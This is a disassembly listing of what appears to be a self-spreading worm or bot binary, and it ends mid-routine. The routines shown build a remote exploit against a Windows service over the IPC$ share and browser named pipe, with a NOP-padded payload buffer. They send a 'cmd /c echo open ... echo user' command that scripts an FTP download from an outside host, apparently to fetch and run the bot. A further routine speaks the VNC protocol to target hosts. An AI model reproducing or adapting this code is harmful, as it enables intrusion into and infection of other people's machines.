sub_40C9A9	proc near
		mov	eax, dword_434628
		add	eax, 6
		mov	dword_4CC51C, eax
		retn
sub_40C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9B7	proc near		; CODE XREF: sub_40C9B7+D0p
					; sub_40CAA5+471p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40C9CB
		or	[ebp+arg_7], 1
		jmp	short loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C9CB:				; CODE XREF: sub_40C9B7+Cj
		and	[ebp+arg_7], 0FEh


loc_40C9CF:				; CODE XREF: sub_40C9B7+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40C9F3
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40CA05
; ---------------------------------------------------------------------------


loc_40C9F3:				; CODE XREF: sub_40C9B7+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40CA05:				; CODE XREF: sub_40C9B7+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417A2B
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40CA9E
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_418810
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jz	short loc_40CA95
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40CA95
		push	[ebp+arg_20]
		call	sub_4177C1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40CA91
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40C9B7
		add	esp, 2Ch
		jmp	short loc_40CAA0
; ---------------------------------------------------------------------------


loc_40CA91:				; CODE XREF: sub_40C9B7+B3j
		mov	al, 1
		jmp	short loc_40CAA0
; ---------------------------------------------------------------------------


loc_40CA95:				; CODE XREF: sub_40C9B7+9Cj
					; sub_40C9B7+A4j
		push	[ebp+arg_20]
		call	sub_4177C1
		pop	ecx


loc_40CA9E:				; CODE XREF: sub_40C9B7+61j
		xor	al, al


loc_40CAA0:				; CODE XREF: sub_40C9B7+D8j
					; sub_40C9B7+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C9B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAA5	proc near		; CODE XREF: .nsp0:0040D0A3p

var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
var_20DC	= byte ptr -20DCh
var_DC		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	sub_418030
		push	ebx
		push	esi
		push	edi
		push	offset a_	; "."
		push	[ebp+arg_0]
		call	sub_419660
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_40CB18
		push	[ebp+arg_0]
		mov	esi, 2000h
		lea	eax, [ebp+var_20DC]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	esi
		push	eax
		call	sub_417E90
		push	20h
		lea	eax, [ebp+var_DC]
		push	ebx
		push	eax
		call	sub_417AA0
		lea	eax, [ebp+var_20DC]
		add	esp, 1Ch
		mov	[ebp+var_C8], eax
		mov	eax, offset byte_43B9B8
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		call	sub_422268
		jmp	short loc_40CB1D
; ---------------------------------------------------------------------------


loc_40CB18:				; CODE XREF: sub_40CAA5+23j
		mov	esi, 2000h


loc_40CB1D:				; CODE XREF: sub_40CAA5+71j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_4230EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40CB61


loc_40CB5A:				; CODE XREF: sub_40CAA5+194j
					; sub_40CAA5+36Aj ...
		xor	al, al
		jmp	loc_40CFA5
; ---------------------------------------------------------------------------


loc_40CB61:				; CODE XREF: sub_40CAA5+B3j
		push	48h
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417AA0
		push	10h
		mov	[ebp+var_B8], 5
		pop	eax
		mov	[ebp+var_B7], bl
		push	1
		mov	[ebp+var_B4], eax
		pop	edi
		mov	[ebp+var_B6], 0Bh
		push	eax
		lea	eax, [ebp+var_98]
		push	offset dword_43467C
		push	eax
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	sub_418810
		push	10h
		lea	eax, [ebp+var_84]
		push	offset dword_434668
		push	eax
		mov	[ebp+var_88], 3
		call	sub_418810
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jnz	short loc_40CC3E


loc_40CC30:				; CODE XREF: sub_40CAA5+265j
		push	[ebp+var_4]
		call	dword_423068	; CloseHandle
		jmp	loc_40CB5A
; ---------------------------------------------------------------------------


loc_40CC3E:				; CODE XREF: sub_40CAA5+189j
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	dword_4230E8	; ReadFile
		push	ebx
		call	sub_419581
		push	eax
		call	sub_417DE8
		push	14h
		lea	eax, [ebp+var_70]
		push	41h
		push	eax
		call	sub_417AA0
		push	1Ch
		lea	eax, [ebp+var_30]
		push	41h
		push	eax
		call	sub_417AA0
		add	esp, 20h
		call	sub_417DF2
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_70], eax
		mov	[ebp+var_64], edi
		mov	[ebp+var_68], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		cmp	byte_434610[esi], bl
		jz	short loc_40CCB5
		push	4
		mov	[ebp+var_24], edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		push	offset dword_4CC524
		jmp	short loc_40CCC8
; ---------------------------------------------------------------------------


loc_40CCB5:				; CODE XREF: sub_40CAA5+1FCj
		push	2
		mov	[ebp+var_28], ebx
		pop	eax
		push	4
		mov	[ebp+var_24], eax
		mov	[ebp+var_2C], eax
		push	(offset	loc_43465F+1)


loc_40CCC8:				; CODE XREF: sub_40CAA5+20Ej
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_418810
		add	esp, 0Ch
		call	sub_417DF2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	sub_417DF2
		cdq
		idiv	edi
		mov	eax, dword_434604[esi]
		mov	[ebp+var_18], ebx
		push	eax
		mov	[ebp+arg_0], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	sub_417A2B
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40CC30
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417AA0
		mov	eax, [ebp+arg_0]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417AA0
		mov	eax, dword_43460C[esi]
		push	7
		add	eax, edi
		push	offset dword_4345F8
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_418810
		mov	eax, [ebp+arg_4]
		push	15Ch
		add	eax, 7
		push	offset dword_434498
		push	eax
		call	sub_418810
		mov	eax, dword_434608[esi]
		add	esp, 30h
		cmp	byte_434610[esi], bl
		mov	[ebp+arg_4], eax
		jz	short loc_40CDC1
		push	4
		add	eax, edi
		push	offset dword_4CC51C
		push	eax
		call	sub_418810
		add	[ebp+arg_4], 0Ch
		mov	esi, offset dword_434628
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_418810
		mov	eax, [ebp+arg_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_418810
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_418810
		add	esp, 30h
		jmp	short loc_40CDE9
; ---------------------------------------------------------------------------


loc_40CDC1:				; CODE XREF: sub_40CAA5+2CDj
		add	eax, edi
		mov	[ebp+var_8], 10h
		mov	[ebp+arg_4], eax
		mov	esi, offset dword_434628


loc_40CDD2:				; CODE XREF: sub_40CAA5+342j
		push	4
		push	esi
		push	[ebp+arg_4]
		call	sub_418810
		add	[ebp+arg_4], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_40CDD2


loc_40CDE9:				; CODE XREF: sub_40CAA5+31Aj
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_40CE14
		push	[ebp+var_4]
		call	dword_423068	; CloseHandle
		push	edi
		call	sub_4177C1
		pop	ecx
		jmp	loc_40CB5A
; ---------------------------------------------------------------------------


loc_40CE14:				; CODE XREF: sub_40CAA5+358j
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_417AA0
		lea	eax, [ebp+var_70]
		push	14h
		push	eax
		push	esi
		call	sub_418810
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_10+4], ebx
		mov	dword ptr [ebp+var_10],	eax
		add	esp, 10h
		fild	[ebp+var_10]
		fmul	flt_423694
		fstp	[esp+0Ch+var_10+4]
		call	sub_418CBF
		call	sub_418C98
		push	[ebp+arg_0]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_418810
		mov	eax, [ebp+arg_0]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_40CE81


loc_40CE79:				; CODE XREF: sub_40CAA5+3D7j
		inc	eax
		test	al, 3
		jnz	short loc_40CE79
		mov	[ebp+arg_4], eax


loc_40CE81:				; CODE XREF: sub_40CAA5+3D2j
		lea	ecx, [ebp+var_30]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_418810
		add	[ebp+arg_4], 1Ch
		push	edi
		call	sub_4177C1
		push	18h
		lea	eax, [ebp+var_48]
		push	ebx
		push	eax
		call	sub_417AA0
		push	14h
		lea	eax, [ebp+var_5C]
		push	ebx
		push	eax
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	sub_417AA0
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_4230E4	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+arg_0+3],	bl
		mov	dword ptr [ebp+var_10+4], ebx


loc_40CEEE:				; CODE XREF: sub_40CAA5+4D3j
		cmp	dword ptr [ebp+var_10+4], 2
		jge	loc_40CF83
		push	1
		push	10B8h
		push	[ebp+arg_4]
		inc	dword ptr [ebp+var_10+4]
		push	esi
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]
		rep movsd
		call	sub_40C9B7
		add	esp, 2Ch
		test	al, al
		jz	short loc_40CF80
		cmp	[ebp+var_4C], ebx
		jz	short loc_40CF72
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	dword_4230E8	; ReadFile
		test	eax, eax
		jnz	short loc_40CF59
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40CB5A


loc_40CF59:				; CODE XREF: sub_40CAA5+4A1j
		push	3E8h
		push	[ebp+var_4C]
		call	dword_4230A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40CF72
		mov	byte ptr [ebp+arg_0+3],	1


loc_40CF72:				; CODE XREF: sub_40CAA5+480j
					; sub_40CAA5+4C7j
		cmp	byte ptr [ebp+arg_0+3],	bl
		mov	esi, [ebp+var_8]
		jz	loc_40CEEE
		jmp	short loc_40CF83
; ---------------------------------------------------------------------------


loc_40CF80:				; CODE XREF: sub_40CAA5+47Bj
		mov	esi, [ebp+var_8]


loc_40CF83:				; CODE XREF: sub_40CAA5+44Dj
					; sub_40CAA5+4D9j
		push	[ebp+var_4]
		mov	edi, dword_423068
		call	edi	; CloseHandle
		push	esi
		call	sub_4177C1
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_40CF9F
		push	[ebp+var_4C]
		call	edi	; CloseHandle


loc_40CF9F:				; CODE XREF: sub_40CAA5+4F3j
		cmp	byte ptr [ebp+arg_0+3],	bl
		setnz	al


loc_40CFA5:				; CODE XREF: sub_40CAA5+B7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CAA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFAA	proc near		; CODE XREF: .nsp0:0040D0C1p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4231F0	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4231F4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_423204	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D078
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4231F8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D078
		mov	edi, 400h
		push	esi
		mov	esi, dword_4231FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_4250E4
		push	eax
		push	eax
		push	dword_4C9540
		push	[ebp+arg_0]
		call	sub_409D1D
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D07C


loc_40D078:				; CODE XREF: sub_40CFAA+50j
					; sub_40CFAA+62j
		xor	eax, eax
		jmp	short loc_40D093
; ---------------------------------------------------------------------------


loc_40D07C:				; CODE XREF: sub_40CFAA+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_423200	; closesocket
		push	1
		pop	eax


loc_40D093:				; CODE XREF: sub_40CFAA+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CFAA	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx


loc_40D09D:				; CODE XREF: .nsp0:0040D0E3j
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	sub_40CAA5
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40D0D0
		push	65h
		lea	esi, [esp+14h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40CFAA
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_40D0E5


loc_40D0D0:				; CODE XREF: .nsp0:0040D0ACj
		test	ebx, ebx
		jnz	short loc_40D0DF
		push	7D0h
		call	dword_423078	; Sleep


loc_40D0DF:				; CODE XREF: .nsp0:0040D0D2j
		inc	ebx
		cmp	ebx, 2
		jb	short loc_40D09D


loc_40D0E5:				; CODE XREF: .nsp0:0040D0CEj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0EC	proc near		; CODE XREF: sub_40D1DA+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4231F0	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4231F4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_423204	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D1BA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4231F8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D1BA
		mov	edi, 400h
		push	esi
		mov	esi, dword_4231FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_4250E4
		push	eax
		push	eax
		push	dword_4C9540
		push	[ebp+arg_0]
		call	sub_409D1D
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D1BE


loc_40D1BA:				; CODE XREF: sub_40D0EC+50j
					; sub_40D0EC+62j
		xor	eax, eax
		jmp	short loc_40D1D5
; ---------------------------------------------------------------------------


loc_40D1BE:				; CODE XREF: sub_40D0EC+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_423200	; closesocket
		push	1
		pop	eax


loc_40D1D5:				; CODE XREF: sub_40D0EC+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D0EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1DA	proc near		; CODE XREF: sub_40B229+1E6p
					; DATA XREF: .nsp0:off_433874o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4C983C	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4C9800	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_423204	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D24C
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4231F8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D22D
		push	esi
		jmp	short loc_40D246
; ---------------------------------------------------------------------------


loc_40D22D:				; CODE XREF: sub_40D1DA+4Ej
		push	0
		push	1213h
		push	offset dword_434724
		push	esi
		call	dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40D250


loc_40D246:				; CODE XREF: sub_40D1DA+51j
		call	dword_423200	; closesocket


loc_40D24C:				; CODE XREF: sub_40D1DA+3Cj
		xor	eax, eax
		jmp	short loc_40D292
; ---------------------------------------------------------------------------


loc_40D250:				; CODE XREF: sub_40D1DA+6Aj
		call	dword_423200	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40D0EC
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40D28F
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_433878[eax]
		lea	eax, dword_433878[eax]


loc_40D28F:				; CODE XREF: sub_40D1DA+9Ej
		push	1
		pop	eax


loc_40D292:				; CODE XREF: sub_40D1DA+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40D1DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D296	proc near		; CODE XREF: .nsp0:0040D384p
					; .nsp0:0040D3E6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40D29E:				; CODE XREF: sub_40D296+2Dj
		test	edi, edi
		jle	short loc_40D2C9
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4C9818	; recv
		test	eax, eax
		jz	short loc_40D2C5
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2C5
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40D29E
; ---------------------------------------------------------------------------


loc_40D2C5:				; CODE XREF: sub_40D296+22j
					; sub_40D296+27j
		xor	eax, eax
		jmp	short loc_40D2CC
; ---------------------------------------------------------------------------


loc_40D2C9:				; CODE XREF: sub_40D296+Aj
		push	1
		pop	eax


loc_40D2CC:				; CODE XREF: sub_40D296+31j
		pop	edi
		pop	esi
		retn
sub_40D296	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D2CF	proc near		; CODE XREF: .nsp0:0040D3D0p
					; .nsp0:0040D3FDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40D30C
		xor	esi, esi
		test	edi, edi
		jle	short loc_40D306


loc_40D2DF:				; CODE XREF: sub_40D2CF+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4C984C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D30C
		test	eax, eax
		jz	short loc_40D30C
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40D2DF


loc_40D306:				; CODE XREF: sub_40D2CF+Ej
		push	1
		pop	eax


loc_40D309:				; CODE XREF: sub_40D2CF+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40D30C:				; CODE XREF: sub_40D2CF+8j
					; sub_40D2CF+2Bj ...
		xor	eax, eax
		jmp	short loc_40D309
sub_40D2CF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_435968
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4C987C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40D33E
		push	eax
		jmp	short loc_40D372
; ---------------------------------------------------------------------------


loc_40D33E:				; CODE XREF: .nsp0:0040D339j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C983C	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4C9800	; htons
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4C97AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D37D
		push	ebx


loc_40D372:				; CODE XREF: .nsp0:0040D33Cj
		call	dword_4C9894	; closesocket
		jmp	loc_40D578
; ---------------------------------------------------------------------------


loc_40D37D:				; CODE XREF: .nsp0:0040D36Fj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40D296
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_418B45
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40D571
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40D3C9
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40D571


loc_40D3C9:				; CODE XREF: .nsp0:0040D3BDj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40D2CF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40D296
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40D2CF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40D296
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
